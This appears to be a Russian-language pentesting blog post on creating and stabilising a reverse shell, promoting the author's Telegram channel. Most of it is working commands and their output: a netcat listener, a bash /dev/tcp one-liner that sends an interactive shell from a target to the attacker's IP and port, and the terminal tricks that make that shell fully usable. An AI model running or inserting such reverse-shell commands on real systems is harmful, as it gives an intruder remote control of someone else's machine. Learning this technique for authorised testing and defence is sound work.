Стабилизация реверс-шелла — советы из практики
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ЧИТАТЬ ПЕРВЫМ В ТЕЛЕГРАМ ЧИТАТЬ ПЕРВЫМ В MAX
Для начала на своей машине запускаем:
nc -lvnp 2288
Этой командой мы откроем порт 2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.
Теперь на подопытной машине запускаем:
/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1
Возвращаемся на свою машину и видим, что коннект произошел:
root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#
Отлично. Пробуем нажать CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.
Стабилизируем shell
script /dev/null -c /bin/bash
Отправляем консоль в бекграунд, нажимаем CTRL+Z
root@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288
Возвращаемся:
stty raw -echo; fg
Нажимаем: ENTER
export TERM=xterm
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь который встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут: